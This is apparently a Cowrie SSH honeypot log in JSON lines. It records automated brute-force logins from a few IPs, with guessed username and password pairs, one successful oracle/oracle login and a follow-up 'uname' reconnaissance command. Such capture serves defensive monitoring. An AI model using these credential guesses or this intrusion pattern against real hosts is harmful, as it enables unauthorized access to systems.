{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56440,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ec9748afdf7","protocol":"ssh","message":"New connection: 103.27.238.114:56440 (10.17.0.5:22) [session: 4ec9748afdf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:50.277952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:50.282891Z","src_ip":"103.27.238.114","session":"4ec9748afdf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:50.556563Z","src_ip":"103.27.238.114","session":"4ec9748afdf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312","message":"login attempt [root/12312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:51.379050Z","src_ip":"103.27.238.114","session":"4ec9748afdf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":37696,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9beecec7eb5","protocol":"ssh","message":"New connection: 45.156.87.69:37696 (159.203.135.109:22) [session: b9beecec7eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:51.717796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:51.723244Z","src_ip":"45.156.87.69","session":"b9beecec7eb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:51.823731Z","src_ip":"45.156.87.69","session":"b9beecec7eb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin123","message":"login attempt [administrator/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:52.128783Z","src_ip":"45.156.87.69","session":"b9beecec7eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:52.660140Z","src_ip":"103.27.238.114","session":"4ec9748afdf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:53.212689Z","src_ip":"45.156.87.69","session":"b9beecec7eb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":37698,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e272cb4fc75","protocol":"ssh","message":"New connection: 45.156.87.69:37698 (159.203.135.109:22) [session: 5e272cb4fc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:55.056103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:55.066993Z","src_ip":"45.156.87.69","session":"5e272cb4fc75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:55.185155Z","src_ip":"45.156.87.69","session":"5e272cb4fc75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"czb","password":"123456","message":"login attempt [czb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:55.895167Z","src_ip":"45.156.87.69","session":"5e272cb4fc75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:57.023644Z","src_ip":"45.156.87.69","session":"5e272cb4fc75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":15974,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8149389e6af","protocol":"ssh","message":"New connection: 45.156.87.69:15974 (159.203.135.109:22) [session: f8149389e6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:58.637172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:58.648356Z","src_ip":"45.156.87.69","session":"f8149389e6af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:58.760392Z","src_ip":"45.156.87.69","session":"f8149389e6af","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:59.485895Z","src_ip":"45.156.87.69","session":"f8149389e6af","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:59.837887Z","src_ip":"45.156.87.69","session":"f8149389e6af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:59.841321Z","src_ip":"45.156.87.69","session":"f8149389e6af","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:59.927473Z","src_ip":"45.156.87.69","session":"f8149389e6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:59.933408Z","src_ip":"45.156.87.69","session":"f8149389e6af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":15990,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea46bcd28bcc","protocol":"ssh","message":"New connection: 45.156.87.69:15990 (159.203.135.109:22) [session: ea46bcd28bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:02.185773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:02.191465Z","src_ip":"45.156.87.69","session":"ea46bcd28bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:02.315672Z","src_ip":"45.156.87.69","session":"ea46bcd28bcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"audi","password":"audi","message":"login attempt [audi/audi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:03.156015Z","src_ip":"45.156.87.69","session":"ea46bcd28bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:04.340637Z","src_ip":"45.156.87.69","session":"ea46bcd28bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":16004,"dst_ip":"159.203.135.109","dst_port":22,"session":"84f4f8644387","protocol":"ssh","message":"New connection: 45.156.87.69:16004 (159.203.135.109:22) [session: 84f4f8644387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:05.825254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:06.059365Z","src_ip":"45.156.87.69","session":"84f4f8644387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:06.063956Z","src_ip":"45.156.87.69","session":"84f4f8644387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zookeeper","password":"P@ssw0rd","message":"login attempt [zookeeper/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:06.949179Z","src_ip":"45.156.87.69","session":"84f4f8644387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:08.065736Z","src_ip":"45.156.87.69","session":"84f4f8644387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":14990,"dst_ip":"159.203.135.109","dst_port":22,"session":"3358b725a2d0","protocol":"ssh","message":"New connection: 45.156.87.69:14990 (159.203.135.109:22) [session: 3358b725a2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:09.582031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:09.675826Z","src_ip":"45.156.87.69","session":"3358b725a2d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:09.684031Z","src_ip":"45.156.87.69","session":"3358b725a2d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"P@ssw0rd","message":"login attempt [kafka/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:10.408840Z","src_ip":"45.156.87.69","session":"3358b725a2d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:11.567237Z","src_ip":"45.156.87.69","session":"3358b725a2d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":34096,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a8ae54d9ca6","protocol":"ssh","message":"New connection: 103.75.182.198:34096 (10.17.0.5:22) [session: 5a8ae54d9ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:13.014235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:13.021277Z","src_ip":"103.75.182.198","session":"5a8ae54d9ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:13.264188Z","src_ip":"103.75.182.198","session":"5a8ae54d9ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":15002,"dst_ip":"159.203.135.109","dst_port":22,"session":"94566c16f8bb","protocol":"ssh","message":"New connection: 45.156.87.69:15002 (159.203.135.109:22) [session: 94566c16f8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:13.316967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:55:13.323766Z","src_ip":"45.156.87.69","session":"94566c16f8bb","protocol":"ssh"}
